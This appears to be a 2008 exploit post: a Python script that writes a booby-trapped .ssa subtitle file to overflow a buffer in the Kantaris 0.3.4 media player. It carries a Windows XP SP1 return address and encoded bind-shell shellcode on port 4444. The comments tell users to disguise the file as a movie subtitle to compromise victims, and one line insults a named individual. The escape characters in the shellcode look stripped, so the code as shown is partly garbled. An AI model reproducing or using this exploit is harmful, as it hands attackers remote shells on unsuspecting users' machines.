kantaris-overflow.txt
Posted on 26 April 2008
#!/usr/bin/python # # Kantaris 0.3.4 Media Player Local Buffer Overflow [0day!] # # The following exploit will make a film.ssa file, # just rename the file with the name of your movie, and use your imagination # to pwn! :) # Shellcode is local bind shell, just telnet to port:4444 to get command prompt :) # # BIG thanks to muts <muts[at]offensive-security[dot]com> for helping # and discovering a very interesting thing that we will publish soon # # I piss on your Business Networks course Igor Radusinovic! Go to hell! # # Vulnerability discovered by Muris Kurgas a.k.a. j0rgan # jorganwd [at] gmail [dot] com # http://www.jorgan.users.cg.yu import os jmp = 'xCCx59xFBx77' # Windows XP sp1 JMP ESP, u can change it... # win32_bind - EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum sc=("xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e" "x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx48" "x4ex36x46x52x46x32x4bx38x45x54x4ex43x4bx48x4ex37" "x45x50x4ax37x41x50x4fx4ex4bx38x4fx44x4ax51x4bx38" "x4fx45x42x52x41x30x4bx4ex49x54x4bx48x46x43x4bx48" "x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c" "x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e" "x46x4fx4bx33x46x55x46x52x4ax32x45x57x45x4ex4bx48" "x4fx35x46x42x41x30x4bx4ex48x36x4bx58x4ex50x4bx44" "x4bx48x4fx45x4ex51x41x50x4bx4ex43x50x4ex52x4bx48" "x49x38x4ex36x46x42x4ex51x41x46x43x4cx41x33x4bx4d" "x46x56x4bx58x43x54x42x33x4bx48x42x34x4ex50x4bx38" "x42x57x4ex31x4dx4ax4bx38x42x34x4ax50x50x35x4ax36" "x50x48x50x54x50x50x4ex4ex42x55x4fx4fx48x4dx48x56" "x43x35x48x56x4ax56x43x53x44x53x4ax36x47x37x43x57" "x44x33x4fx55x46x35x4fx4fx42x4dx4ax56x4bx4cx4dx4e" "x4ex4fx4bx53x42x35x4fx4fx48x4dx4fx45x49x48x45x4e" "x48x46x41x58x4dx4ex4ax50x44x30x45x55x4cx46x44x50" "x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55" "x4fx4fx48x4dx43x45x43x45x43x55x43x55x43x45x43x34" "x43x55x43x34x43x55x4fx4fx42x4dx48x46x4ax56x41x51" "x4ex55x48x46x43x45x49x58x41x4ex45x49x4ax56x46x4a" "x4cx51x42x47x47x4cx47x35x4fx4fx48x4dx4cx56x42x31" "x41x45x45x45x4fx4fx42x4dx4ax46x46x4ax4dx4ax50x52" "x49x4ex47x35x4fx4fx48x4dx43x35x45x35x4fx4fx42x4d" "x4ax36x45x4ex49x34x48x38x49x54x47x45x4fx4fx48x4d" "x42x45x46x55x46x35x45x55x4fx4fx42x4dx43x59x4ax46" "x47x4ex49x57x48x4cx49x47x47x35x4fx4fx48x4dx45x45" "x4fx4fx42x4dx48x56x4cx46x46x56x48x46x4ax36x43x36" "x4dx56x49x38x45x4ex4cx56x42x55x49x55x49x42x4ex4c" "x49x58x47x4ex4cx36x46x54x49x58x44x4ex41x43x42x4c" "x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x54x4ex42" "x43x49x4dx48x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax46" "x44x57x50x4fx43x4bx48x31x4fx4fx45x37x46x54x4fx4f" "x48x4dx4bx55x47x55x44x45x41x55x41x55x41x35x4cx46" "x41x30x41x35x41x55x45x55x41x35x4fx4fx42x4dx4ax46" "x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx36" "x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx58x47x35x4ex4f" "x43x48x46x4cx46x56x4fx4fx48x4dx44x35x4fx4fx42x4d" "x4ax36x42x4fx4cx38x46x50x4fx35x43x55x4fx4fx48x4d" "x4fx4fx42x4dx5a") bafer = 'x41' * 163868 + jmp + "x90" * 32 + sc fileHandle = open ( 'film.ssa', 'w' ) fileHandle.write ( '[Script Info] ') fileHandle.write ( 'ScriptType: v4.00 ') fileHandle.write ( 'Title: Kantaris 0.3.4 buffer-overflow ') fileHandle.write ( 'Collisions: Normal ') fileHandle.write ( '[V4 Styles] ') fileHandle.write ( '[Events] ') fileHandle.write ( 'Dialogue: '+ bafer) fileHandle.close()
